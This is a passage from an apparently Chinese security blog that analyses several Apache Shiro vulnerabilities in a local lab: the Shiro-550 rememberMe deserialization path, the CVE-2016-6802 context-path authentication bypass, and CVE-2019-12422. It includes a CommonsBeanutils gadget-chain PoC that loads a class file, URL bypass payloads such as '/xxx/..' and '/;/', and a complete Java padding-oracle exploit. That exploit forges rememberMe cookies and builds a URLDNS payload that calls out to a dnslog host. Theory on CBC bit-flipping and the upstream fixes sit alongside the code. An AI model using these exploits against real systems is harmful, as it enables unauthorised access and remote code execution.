protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain)
throws ServletException, IOException {

Throwable t = null;

try {
final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain);
final ServletResponse response = prepareServletResponse(request, servletResponse, chain);

final Subject subject = createSubject(request, response);

//noinspection unchecked
subject.execute(new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
});
}
......
}

顺着方法调用来到org.apache.shiro.mgt.DefaultSecurityManager#createSubject,会调用resolvePrincipals方法从subjectContext中解析出Principals。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Subject createSubject(SubjectContext subjectContext) {
SubjectContext context = copy(subjectContext);

context = ensureSecurityManager(context);

context = resolveSession(context);

context = resolvePrincipals(context);

Subject subject = doCreateSubject(context);

save(subject);

return subject;
}

可以看到首先从上下文获取principals,但是我们当前的context是新new出来的,只设置了securityManagerrequestrespone。所以获取的结果为null,所以调用getRememberedIdentity方法,获取CookieRememberMeManager,并调用其getRememberedPrincipals方法去获取principals。可以跟进去看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected SubjectContext resolvePrincipals(SubjectContext context) {

PrincipalCollection principals = context.resolvePrincipals();

if (CollectionUtils.isEmpty(principals)) {
log.trace("No identity (PrincipalCollection) found in the context. Looking for a remembered identity.");

principals = getRememberedIdentity(context);

if (!CollectionUtils.isEmpty(principals)) {
log.debug("Found remembered PrincipalCollection. Adding to the context to be used " +
"for subject construction by the SubjectFactory.");

context.setPrincipals(principals);

} else {
log.trace("No remembered identity found. Returning original context.");
}
}

return context;
}

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
}
......

return principals;
}

直接跟进,然后再跟进到org.apache.shiro.mgt.CookieRememberMeManager#getRememberedSerializedIdentity。这个方法会从Http请求和响应中获取Cookie中的rememberMe值。也就是我们构造的恶意编码。然后进行解码,将得到的数据返回。这时候解码出来的数据还是加密的。接着会把得到的数据用org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals进行最后的处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
......

WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}

HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);

String base64 = getCookie().readValue(request, response);
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
......
byte[] decoded = Base64.decode(base64);
......
return decoded;
}
......
}

可以看到先解密,然后将解密的序列化数据进行反序列化。

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

image-20241117014158682

部分调用堆栈:

1
2
3
4
5
6
7
8
readObject:415, ObjectInputStream (java.io)
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)

一些问题

我们环境为什么导入CC依赖?

如果不导入的话,我们使用原来的POC会有如下异常:

1
Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.

意思是ComparableComparator这个类没有找到。可以看到BeanComparator类的构造函数里,如果没有指定comparator就会用CC依赖库里面的ComparableComparator

image-20241117131219878

commons-collections<optional> 标签被设置为 true,表示这是个可选依赖。

可选依赖通常表示该依赖不是项目运行的必需部分,而是提供额外的功能或增强。如果使用者希望使用这些可选功能,他们可以在自己的项目中显式地声明该依赖。如果不声明,项目仍然可以正常运行而不会因为缺少可选依赖而出错。

image-20241117035942752

既然如此我们就去指定一个java原生库或者CB依赖里面的comparator,这个Comparator满足下面条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

可以找到CaseInsensitiveComparator类,并且java内部核心类String.java中存在一个该类的静态变量。

image-20241117045807847

生成序列化数据poc,加密可以找个AES加密脚本或者直接用java的库函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class CB1_Shiro {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add("1");
queue.add("1");

Field fieldqueue = PriorityQueue.class.getDeclaredField("queue");
fieldqueue.setAccessible(true);
fieldqueue.set(queue,new Object[]{templates,templates});

setFieldValue(beanComparator,"property","outputProperties");
serialize(queue);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

漏洞修复

Force RememberMe cipher to be set to survive JVM restart. · apache/shiro@4d5bb00

删掉了默认的静态秘钥,改用AesCipherService#generateNewKey生成秘钥。

参考链接

Shiro安全(三):Shiro自身利用链之CommonsBeanutils_shiro利用链-CSDN博客

shiro-web CVE-2016-4437 - FreeBuf网络安全行业门户

CVE-2016-6802

Apache Shiro before 1.3.2 allows attackers to bypass intended servlet filters and gain access by leveraging use of a non-root servlet context path.

漏洞信息

影响版本:shiro < 1.3.2

漏洞成因:Shiro未对ContextPath做路径标准化导致权限绕过

漏洞补丁:Added fix to adjust how the servlet context path is handled · apache/shiro@b15ab92

漏洞环境

该漏洞需要用到Java Servlet 应用程序环境,依赖如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<dependencies>
<!-- Shiro Web Dependency -->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.3.1</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.3.1</version>
</dependency>

<!-- Servlet Dependency -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>

<!-- JSP Dependency -->
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>javax.servlet.jsp-api</artifactId>
<version>2.3.3</version>
<scope>provided</scope>
</dependency>

<!-- Logging Dependency -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.25</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.25</version>
</dependency>

<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

</dependencies>

具体配置可以参考我的github,改自p神的shirodemo。

项目结构树:

1
2
3
4
5
6
7
8
9
10
11
12
13
src
├─main
│ ├─java
│ │ └─webapp
│ │ │ index.jsp
│ │ │ login.jsp
│ │ │
│ │ └─WEB-INF
│ │ shiro.ini
│ │ web.xml
│ │
│ └─resources
└─test

打包

使用Tomcat启动即可,需要设置应用程序根路径,我们设置的是/CVE_2016_6802_war_exploded

漏洞复现

我们尝试访问需要鉴权的页面index.jsp,会302跳转到登录页面让我们登录对应权限。

我们使用漏洞poc发送请求,也就是在请求url前面加上/xxx/..(xxx随意填写),可以看到我们没有权限却可以访问需要权限的页面。

漏洞分析

漏洞核心位置是一个很熟悉的地方,org.apache.shiro.web.util.WebUtils#getPathWithinApplication:

该函数用于获取请求路径在应用内的相对路径:

  1. 获取请求的上下文路径(contextPath)和请求URI(requestUri)。
  2. 检查requestUri是否以contextPath开头:
    • 如果是,则去掉contextPath部分,返回剩余路径;如果没有剩余路径,则返回/
    • 如果不是,则直接返回requestUri

可以看到按照POC发送url请求,上下文路径contextPath/cmisl/../CVE_2016_6802_war_exploded,请求 URI requestUri/CVE_2016_6802_war_exploded/index.jsp,显然requestUri并不是以contextPath开头,因此进入else直接返回requestUri,也就是直接返回了/CVE_2016_6802_war_exploded/index.jsp

一直返回到org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain

可以看到我们过滤器匹配的路径是/index.jsp,与返回来的/CVE_2016_6802_war_exploded/index.jsp匹配不上,所以这次请求不会经过权限检查的过滤器。所以可以访问到原本需要权限的资源。

contextPath问题

那么为什么上下文路径contextPath/cmisl/../CVE_2016_6802_war_exploded呢?

这里主要就是tomcat代码的问题了。我们可以跟进获取contextPath的方法getContextPath。一直跟进到org.apache.catalina.connector.Request#getContextPath

因为我们设置Tomcat服务器时,设置的应用程序根路径是/CVE_2016_6802_war_exploded,所以lastSlash(代表斜杠数目)的值为1。

然后会经过多重斜杠检查,我们可以跳过直接看造成漏洞的关键部分。

首先匹配canonicalContextPathcandidate,也就是匹配程序根路径/CVE_2016_6802_war_exploded和取出来第一个斜杠所对应的路径/cmisl

发现匹配不上,于是会加上第二个斜杠所对应的路径,也就是/cmisl/..,匹配之前规范化,变成/

发现//CVE_2016_6802_war_exploded匹配不上。在加上第三个斜杠对应的路径,/cmisl/../CVE_2016_6802_war_exploded,匹配前规范化变成/CVE_2016_6802_war_exploded

此时规范化后的路径/CVE_2016_6802_war_exploded就和程序根路径/CVE_2016_6802_war_exploded匹配上了。

匹配上之后,就会返回从开始到第三个斜杠对应的路径,额就是/cmisl/../CVE_2016_6802_war_exploded,返回这个作为上下文路径contextPath

另一种绕过

参考:Java Shiro 权限绕过多漏洞分析 | Drunkbaby’s Blog

可以看到/;/CVE_2016_6802_war_exploded经过removePathParameters函数之后变成//CVE_2016_6802_war_exploded,这个在后面规范化会变成/CVE_2016_6802_war_exploded 而绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private String removePathParameters(String input) {
int nextSemiColon = input.indexOf(';');
// Shortcut
if (nextSemiColon == -1) {
return input;
}
StringBuilder result = new StringBuilder(input.length());
result.append(input.substring(0, nextSemiColon));
while (true) {
int nextSlash = input.indexOf('/', nextSemiColon);
if (nextSlash == -1) {
break;
}
nextSemiColon = input.indexOf(';', nextSlash);
if (nextSemiColon == -1) {
result.append(input.substring(nextSlash));
break;
} else {
result.append(input.substring(nextSlash, nextSemiColon));
}
}

return result.toString();
}

逻辑如下:

  • 查找输入字符串中的第一个分号(;)。
  • 如果没有找到分号,直接返回原始字符串。
  • 如果找到了分号,则创建一个 StringBuilder,并将分号之前的部分添加到结果中。
  • 然后,继续查找路径中从分号之后开始的部分,直到没有更多的路径分隔符(/)为止。
  • 将找到的路径部分(不包含路径参数)添加到结果中。

漏洞修复

使用了修复 CVE-2010-3863 时更新的路径标准化方法 normalize 来处理 Context Path 之后再返回。

CVE-2019-12422(Shiro-721反序列化漏洞)

Apache Shiro before 1.4.2, when using the default “remember me” configuration, cookies could be susceptible to a padding attack.

漏洞信息

影响版本:shiro < 1.4.2

漏洞成因:RememberMe使用 AES-128-CBC 模式加密,易受Padding Oracle Attack攻击,攻击者可以构造RememberMe Cookie 值来实现反序列化漏洞攻击。

漏洞补丁:Updates the default Cipher mode to GCM in AesCipherService · apache/shiro@a801878

漏洞环境

和CVE-2016-4437(Shiro-550反序列化漏洞)的环境类似,改一下依赖版本。同时添加一个运行exp时需要的依赖包处理http请求。因为我喜欢把exp和漏洞环境放在一块避免文件混乱。可以将exp和漏洞环境分

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--shiro-->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.4.1</version>
</dependency>

<!--exp-->
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.5.13</version>
</dependency>

漏洞复现

参考网上的exp,编写了更为方便的java版本exp,为了方便测试用了爆破时间低的URLDNS链。根据自己的环境配置一下基本信息,运行即可获得可进行攻击的加密数据。

开始尝试java自带的HttpURLConnection进行http请求,发现会因为爆破次数太多,导致请求端口全部使用过,从而没有请求的端口资源了。但是HttpClient库可以解决这个问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
package cmisl.exp;

import org.apache.http.Header;
import org.apache.http.NameValuePair;
import org.apache.http.client.config.CookieSpecs;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.shiro.codec.Base64;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.*;

public class ShiroExploit {

private static final CloseableHttpClient HTTP_CLIENT;
private static final String DNSLOG = "http://dfnjhvngmh.dgrh3.cn";
private static final String REQUEST_URL = "http://127.0.0.1:8080";
private static final String LOGIN_URL = REQUEST_URL + "/toLogin";
private static final String LOGIN_USERNAME = "admin";
private static final String LOGIN_PASSWORD = "admin123";
// private static final String EVIL_CODE_FILE_PATH = "./CVE-2019-12422/src/main/java/cmisl/exp/URLDNS.ser";
private static final int BLOCK_SIZE = 16;

private static byte[] validData;
private static byte[] evilCode;
private static int blockCount;

static {
RequestConfig config = RequestConfig.custom()
.setRedirectsEnabled(false)
.setCookieSpec(CookieSpecs.IGNORE_COOKIES)
.build();

HTTP_CLIENT = HttpClients.custom()
.setDefaultRequestConfig(config)
.build();
}

public static void main(String[] args) {
try {
validData = obtainValidData(LOGIN_URL, LOGIN_USERNAME, LOGIN_PASSWORD);

// evilCode = Files.readAllBytes(Paths.get(EVIL_CODE_FILE_PATH));
evilCode=getEvilCode(DNSLOG);
evilCode = applyPkcs7Padding(evilCode);

blockCount = evilCode.length / BLOCK_SIZE;

byte[] cipherText = generateCipherText();

System.out.println("------------------------------------------------");
System.out.println(Base64.encodeToString(cipherText));
} catch (Exception e) {
e.printStackTrace();
}
}

private static byte[] applyPkcs7Padding(byte[] data) {
int paddingLength = BLOCK_SIZE - (data.length % BLOCK_SIZE);
byte[] padding = new byte[paddingLength];
Arrays.fill(padding, (byte) paddingLength);
return concatenateArrays(data, padding);
}

private static boolean isDecryptable(byte[] paddingOracle) throws IOException {
String rememberMeValue = Base64.encodeToString(concatenateArrays(validData, paddingOracle));
String cookie = "rememberMe=" + rememberMeValue;

HttpGet request = new HttpGet(REQUEST_URL);
request.setHeader("Cookie", cookie);

try (CloseableHttpResponse response = HTTP_CLIENT.execute(request)) {
return !containsDeleteMe(response);
}
}

private static boolean containsDeleteMe(CloseableHttpResponse response) {
for (Header cookieHeader : response.getHeaders("Set-Cookie")) {
if (cookieHeader.getValue().contains("deleteMe")) {
return true;
}
}
return false;
}

private static byte[] generateCipherText() throws IOException {
byte[] cipherText = new byte[0];

byte[] cn = computeCn(blockCount, new byte[0]);
cipherText = concatenateArrays(cn, cipherText);

byte[] paddingOracle = concatenateArrays(new byte[BLOCK_SIZE], cn);

for (int i = blockCount - 1; i >= 0; i--) {
byte[] ci = computeCn(i, paddingOracle);
cipherText = concatenateArrays(ci, cipherText);
paddingOracle = concatenateArrays(new byte[BLOCK_SIZE], ci);
}

return cipherText;
}

private static byte[] computeCn(int n, byte[] paddingOracle) throws IOException {
if (n == blockCount) {
byte[] byteArray = new byte[BLOCK_SIZE];
Arrays.fill(byteArray, (byte) 0x78);
return byteArray;
}

byte[] intermediateBytes = new byte[BLOCK_SIZE];

for (int i = BLOCK_SIZE - 1; i >= 0; i--) {
for (int j = 0; j <= 0xFF; j++) {
if (isDecryptable(paddingOracle)) {
intermediateBytes[i] = (byte) (j ^ (BLOCK_SIZE - i));
break;
}
paddingOracle[i]++;
}

if (i > 0) {
updatePaddingOracle(i, intermediateBytes, paddingOracle);
}
}

byte[] cn = new byte[BLOCK_SIZE];
byte[] payloadBlock = getBlock(n + 1, evilCode);
for (int k = 0; k < BLOCK_SIZE; k++) {
cn[k] = (byte) (payloadBlock[k] ^ intermediateBytes[k]);
}

return cn;
}

private static void updatePaddingOracle(int index, byte[] intermediateBytes, byte[] paddingOracle) {
for (int k = index; k < BLOCK_SIZE; k++) {
paddingOracle[k] = (byte) ((BLOCK_SIZE - index + 1) ^ intermediateBytes[k]);
}
}

private static byte[] obtainValidData(String url, String username, String password) {
try (CloseableHttpResponse response = executeLoginRequest(url, username, password)) {
String setCookie = getSetCookieHeader(response);
return extractRememberMeValue(setCookie);
} catch (IOException e) {
e.printStackTrace();
}
return new byte[0];
}

private static CloseableHttpResponse executeLoginRequest(String url, String username, String password) throws IOException {
HttpPost httpPost = new HttpPost(url);
List<NameValuePair> params = new ArrayList<>();
params.add(new BasicNameValuePair("username", username));
params.add(new BasicNameValuePair("password", password));
params.add(new BasicNameValuePair("rememberMe", "true"));
params.add(new BasicNameValuePair("submit", "Login"));
httpPost.setEntity(new UrlEncodedFormEntity(params, "UTF-8"));
return HTTP_CLIENT.execute(httpPost);
}

private static String getSetCookieHeader(CloseableHttpResponse response) {
Header[] headers = response.getHeaders("Set-Cookie");

for (Header header : headers) {
String[] cookies = header.getValue().split(";");
for (String cookie : cookies) {
String[] pair = cookie.trim().split("=", 2);
if (pair.length == 2 && pair[0].equals("rememberMe") && !pair[1].equals("deleteMe")) {
return pair[1];
}
}
}

return "";
}

private static byte[] extractRememberMeValue(String cookie) {
if (cookie != null) {
String base64 = cookie;
return Base64.decode(base64);
}
return new byte[0];
}

private static byte[] getBlock(int blockIndex, byte[] byteStream) {
int startIndex = (blockIndex - 1) * BLOCK_SIZE;
if (startIndex < 0 || startIndex >= byteStream.length) {
return new byte[0];
}

int length = Math.min(BLOCK_SIZE, byteStream.length - startIndex);
byte[] block = new byte[length];
System.arraycopy(byteStream, startIndex, block, 0, length);
return block;
}

private static byte[] concatenateArrays(byte[] array1, byte[] array2) {
byte[] result = new byte[array1.length + array2.length];
System.arraycopy(array1, 0, result, 0, array1.length);
System.arraycopy(array2, 0, result, array1.length, array2.length);
return result;
}

public static byte[] getEvilCode(String dnslog) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
URL url = new URL(dnslog);
Class<? extends URL> aClass = url.getClass();
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 1);
HashMap hashMap = new HashMap();
hashMap.put(url, 1);
hashCode.set(url, -1);
return serialize(hashMap);
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
}

运行结果

将获取的数据作为Cookie的rememberMe值:

前置知识

CBC字节翻转攻击

CBC字节翻转攻击是一种利用CBC(Cipher Block Chaining)加密模式特性的攻击方式。在CBC模式中,密文块之间的依赖关系允许攻击者通过修改初始向量iv或密文中的特定字节,来操控解密后的明文内容。我们先来介绍CBC加密模式。

CBC模式

CBC(Cipher Block Chaining,密码块链接)是一种对称加密模式。它通过将每个明文块与前一个密文块进行链接,增强了加密的安全性。

这是一个CBC加密过程:

我们会将明文进行分组划分,对每个组都调用加密算法。但是在明文块加密之前,会先与上一组的密文块(明文块的加密结果)进行异或,然后将异或的结果用加密算法加密。对于第一个明文块由于没有上一个密文块,会有一个初始向量IV来对它进行异或。

数学公式:
$$
\begin{equation}
\begin{aligned}
C_0 = E_k(P_0 \oplus IV) \
C_1 = E_k(P_1 \oplus C_0) \
C_2 = E_k(P_2 \oplus C_1) \
……………..
\end{aligned}
\end{equation}
$$
解密过程则相反,第一组密文块解密之后与初始向量IV异或得到明文块,后续密文块的解密结果与上一个密文块进行异或得到明文块。

数学公式:
$$
\begin{equation}
\begin{aligned}
P_0 = D_k(C_0) \oplus IV\
P_1 = D_k(C_1) \oplus C_0\
P_2 = D_k(C_2) \oplus C_1\
……………..
\end{aligned}
\end{equation}
$$

攻击原理

从上面知道了CBC模式解密时,该组密文用解密算法解密后得到的值,需要与上一组的密文异或才能得到明文,第一组则是需要与初始向量IV异或。

假设攻击者能够控制传输中的密文,并希望改变解密后某个明文块的特定字节:

  1. 攻击者修改密文块 $C_{i-1}$ 中的某些字节。
  2. 由于明文块 $P_i$的生成与 $C_{i-1}$ 有关,攻击者可以通过改变 $C_{i-1}$ ,操控解密时 $P_i$ 的特定字节。

举一个例子,假设我们有以下明文块(每块8字节):

  • $P_0$: admin=fa
  • $P_1$: lse.....

CBC模式加密后的密文块:

  • $C_0 = E_k(P_0 \oplus IV)$
  • $C_1 = E_k(P_1 \oplus C_0)$
  1. 修改密文块: 假设攻击者可以获取密文,并有可能对其进行修改。攻击者的目标是通过修改密文,让解密后的明文成为 admin=true

  2. 比特翻转: 攻击者关注的密文块是 $C_0$,因为它影响 $P_1$ 的解密结果。假设 $P_1$ 的某个字节对应 $f$ 的ASCII编码(102),攻击者可以翻转任意一个比特来改变其值以透露不同的字符,在这种情况下想要达到 $t$(ASCII编码116)。

    通过计算:
    $$
    116_{10} = 102_{10} \oplus x
    $$
    这里 (x) 是攻击者需要翻转的比特模式,通过计算得出:
    $$
    x = 116 \oplus 102 = 18
    $$
    攻击者修改 $C_0$ 中相应的字节,将其异或18,就可以将 $P_1$ 中的 $f$ 改为 $t$。整个详细的推导过程很简单,可以自行推导一下。

填充算法

常见的对称加密算法一般分组加密,将明文按照规定的bit位数划分为一个个的明文块。然后用加密算法对每个明文块加密,经过不同的工作模式处理得到密文。下面介绍Shiro使用的PKCS#7,

PKCS#7
  • 在填充时,所有填充值的字节被设为填充字节数的值。例如,如果需要填充4个字节,那么每个填充值都是0x04

  • 例子:如果块大小是8字节,明文是"HELLO"(5字节),则填充后的结果是"HELLO\x03\x03\x03"

    下面是在翻阅文章见过很多的一张图,也可以直观看出填充算法是如何填充的:

下面内容来自:PKCS#1、PKCS#5、PKCS#7、PKCS#8到底是什么?_pkcs1-CSDN博客

PKCS7
PKCS7与PKCS5的区别在于PKCS5只填充到8字节,而PKCS7可以在1-255之间任意填充。
简单地说, PKCS5, PKCS7和SSL3, 以及CMS(Cryptographic Message Syntax)
注意:
当只讨论了 8字节(64位) 块的加密, 对其他块大小没有做说明,其PKCS5填充算法跟 PKCS7是一样的。
但是后来 AES 等算法, 把BlockSize扩充到 16个字节。因为AES并没有64位的块, 如果采用PKCS5, 那么实质上就是采用PKCS7。
理解:
PKCS#5填充是PKCS#7填充的一个子集,在PKCS#7填充时BlockSize为8的时候,PKCS#5与PKCS#7填充是一样的,
在BlockSize不同时PKCS#5与PKCS#7填充是不同的,PKCS#5填充是将数据填充到8的倍数,填充后数据长度的计算公式是
定于元数据长度为x, 填充后的长度是 x + (8 - (x % 8)), 填充的数据是 8 - (x % 8)
因此所以,PKCS#5可以向上转换为PKCS#7,但是PKCS#7不一定可以转换到PKCS#5(用PKCS#7填充加密的密文,用PKCS#5解出来是错误的)。
所以现在有些算法写的是PKCS#5,但是输出的确实PKCS#7。

因此虽然源码中使用PKCS5Padding检测填充的规范性,但是不要被类名迷惑了,实际填充算法还是PKCS#7。

Padding Oracle Attack

Padding Oracle Attack是一种针对使用填充模式的加密协议的攻击,尤其在对称加密算法中,比如AES的CBC模式。当使用这些模式进行加密时,明文需要被填充到适合块大小的长度。在解密过程中,如果填充不正确,应用程序可能会返回一个错误信息。Padding Oracle Attack利用这一特性,通过观察应用程序是否返回填充错误来推测加密数据的内容。

所以该 Padding Oracle Attack需要的条件:

  1. 攻击者知道并且能控制密文以及初始向量IV。
  2. 可以通过发送密文触发解密过程,并且解密过程中填充不正确时,系统需要返回一个特定的错误或者区别于填充正确的标记。

举一个很多文章出现的场景,由于此图片出现很多文章中,所以并未找到出处。

这是一段密文的解密过程,我们发送密文7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6给服务器进行一个认证。(一般IV是携带发送的,作为密文块的前缀)服务器会去解密该密文。因此会有下面情况:

  • 当收到一个有效的密文(一个被正确填充并包含有效数据的密文)时,应用程序正常响应(200 OK)
  • 当收到无效的密文时(解密时填充错误的密文),应用程序会抛出加密异常(500 内部服务器错误)
  • 当收到一个有效密文(解密时正确填充的密文)但解密为无效值时,应用程序会显示自定义错误消息 (200 OK)

  • Encrypted Input:输入的密文

  • Intermediary Value:计算的中间值

  • Initialization Vector:初始化向量

  • Plain-Text(Padded)/Decrypted Value:解密出的明文

流程

我们作为发送方,根据密文知道的是如下信息。

1
2
3
初始化向量: 7B  21  6A  63  49  51  17  0F
第一组密文: F8 51 D6 CC 68 FC 95 37
第二组密文: 85 87 95 A2 8E D4 AA C6

尝试破解第一组密文,将初始化向量设为0,即0000000000000000F851D6CC68FC9537,此时会解密失败,服务器也会返回请求异常或错误。因为解密出来的值不符合PKCS#7。

爆破IV的最后一个字节,直到其为0x3C时,也就是发送数据是0000000000000066F851D6CC68FC9537时,解密的值为0x01,符合PKCS#7,此时服务器会正常返回。

从两次与服务器交互,因为解密异常造成返回的差异可以知道:
$$
0x3C\oplus对应字节位的中间值=0x01
$$
可以计算出该中间值为0x3D,因此可以确定一个中间值了,而中间值是不会变的,因为我们的密文不变。我们可以重复上面的操作,比如假设解出来的明文最后两位是0x02,符合PKCS#7,因此有下面式子:
$$
0x3D\oplus IV对应的字节位=0x02\
0x26\oplus对应字节位的中间值=0x02
$$
此时我们又可以接触一位中间值为0x2E。

重复该过程,直到假设的明文值为0x08 0x08 0x08 0x08 0x08 0x08 0x08 0x08 :

image-20241127054427712

此时就得到了该组所有中间值,将其与初始向量IV异或即可得到真正的明文。并且我们获取了中间值,可以构造IV来达到解密出想要的明文效果,因为明文是中间值与IV异或得来的。

对于多组加密,需要从最后一组,构造出IV,然后把构造的IV作为上一组的密文,重复上述流程,得到中间值,继续根据想要解密出的明文构造IV,然后重复该做法即可。

image-20241127055429864

漏洞分析

根据前置知识的学习,配合POC源码,大概就可以懂该漏洞的原理了。

首先通过发送登录请求获取接下来交互所需的Cookie,也就是AES-CBC加密的密文。然后通过前置知识中提到的攻击方法,爆破篡改密文,使得解密出来的明文是我们序列化数据。

和CVE-2016-4437(Shiro-550反序列化漏洞)一样我们直接在CookieRememberMeManager#getRememberedSerializedIdentity打上断点。

获取Cookie之后去用ensurePadding方法确认数据的填充,然后Base64解码返回给上去。然后调用AbstractRememberMeManager#convertBytesToPrincipals函数,一路往下调用解封装和检查。

PKCS5Padding#unpad方法检测填充是否符合要求,不符合就返回-1,然后向上抛异常,直到回到AbstractRememberMeManager#onRememberedPrincipalFailure,会去把cookie设置为deleteMe。

后续过程其实和shiro550差不多,解密的数据拿去反序列化。

漏洞修复

直接用AES-CBC加密模式换成了AES-GCM加密模式。因为攻击是基于AES-CBC加密模式的漏洞攻击的。

参考链接

Padding Oracle Attack(填充提示攻击)详解及验证 - 简书

Padding oracle attack | Infosec

CBC字节翻转攻击&Padding Oracle Attack原理解析 - 枫のBlog

CBC byte flipping attack—101 approach | Infosec

CBC字节翻转攻击测试 - FreeBuf网络安全行业门户

浅析CBC字节翻转攻击与Padding Oracle Attack [ Mi1k7ea ]

Shiro-682

没有具体的CVE编号,是一个Apache Shiro 项目的一个问题报告。报告链接:[SHIRO-682] fix the potential threat when use “uri = uri + ‘/‘ “ to bypassed shiro protect - ASF JIRA

漏洞信息

影响版本:shiro < 1.5.0

